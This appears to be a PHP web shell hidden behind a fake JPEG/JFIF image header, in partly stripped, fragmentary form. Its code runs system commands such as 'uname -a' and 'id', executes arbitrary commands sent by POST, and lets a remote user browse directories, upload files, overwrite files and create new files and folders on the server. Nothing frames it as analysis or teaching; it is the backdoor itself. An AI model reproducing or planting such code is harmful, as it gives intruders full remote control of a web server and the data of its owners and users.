ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
' . shell_exec('uname -a') . '';
echo '' . shell_exec('id') . '';
echo 'LiteSpeed'; } elseif (strpos($_SERVER['SERVER_SOFTWARE'], 'Apache') !== false) { echo '
Apache'; } else { echo '
' . $_SERVER['SERVER_SOFTWARE'] . ''; } function listFiles($dir) { if (is_dir($dir)) { if ($dh = opendir($dir)) { echo '
Not a valid directory.
'; } } if (!isset($_SESSION['current_dir'])) { $_SESSION['current_dir'] = getcwd(); } if (isset($_GET['dir'])) { $newDir = $_GET['dir']; if (is_dir($newDir)) { $_SESSION['current_dir'] = realpath($newDir); } } chdir($_SESSION['current_dir']); // Handle file upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $uploadDir = $_SESSION['current_dir'] . '/'; $uploadFile = $uploadDir . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) { echo 'File uploaded successfully.
'; } else { echo 'Failed to upload file.
'; } } // Handle command execution if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command'])) { $command = $_POST['command']; if ($command) { echo '';
echo shell_exec(escapeshellcmd($command));
echo '';
}
}
// Handle file saving
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save'])) {
$fileToSave = $_POST['filename'];
$content = $_POST['content'];
file_put_contents($fileToSave, $content);
echo 'File saved successfully.
'; } // Handle directory creation if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_dir'])) { $newDir = $_POST['new_dir']; if ($newDir) { $newDirPath = $_SESSION['current_dir'] . '/' . $newDir; if (!is_dir($newDirPath)) { mkdir($newDirPath); echo 'Directory created successfully.
'; } else { echo 'Directory already exists.
'; } } } // Handle file creation if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_file'])) { $newFile = $_POST['new_file']; if ($newFile) { $newFilePath = $_SESSION['current_dir'] . '/' . $newFile; if (!file_exists($newFilePath)) { file_put_contents($newFilePath, ''); echo 'File created successfully.
'; } else { echo 'File already exists.
'; } } } function renderBreadcrumb($currentDir) { $pathArray = explode(DIRECTORY_SEPARATOR, $currentDir); echo ''; } ?>Unable to read the file.
'; } } ?>